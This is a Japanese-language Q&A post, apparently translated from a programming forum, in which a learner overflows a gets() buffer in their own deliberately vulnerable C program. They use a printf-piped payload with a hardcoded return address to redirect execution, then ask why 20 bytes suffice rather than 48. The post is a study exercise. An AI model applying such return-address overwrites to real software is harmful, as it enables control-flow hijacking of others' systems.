スタックオーバーフローを制御しようとしています。gcc -fno-stack-protector -ggdb -o first first.c
まず、x32 VM Linux ( ) でコンパイルした C コードの例を次に示します。
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
次に、デバッガー (Intel フレーバー): 関数のアセンブラー コードのダンプGetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
ここで、sub esp、0x28 がバッファ変数用に 40 バイトを予約していることがわかります (そうですか?)。
CanNeverExecute
function は address にあります0x0804843c
。したがって、CanNeverExecute
関数を実行するには、40 バイトをバッファー変数に入れる必要があります。次に、格納されたベース ポインター用に 8 バイト、変更したいリターン ポインター用に 8 バイトを使用します。
したがって、48 個の ASCII 記号と\x3c\x84\x04\x08
末尾 (CanNeverExecute
関数のアドレス) の文字列が必要です。それは理論上です。しかし実際には、リターン ポインターのアドレスの前に 20 バイトしか必要ありません。
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
48 バイトではなく 20 バイトしか必要ないのはなぜですか? 私の間違いはどこですか?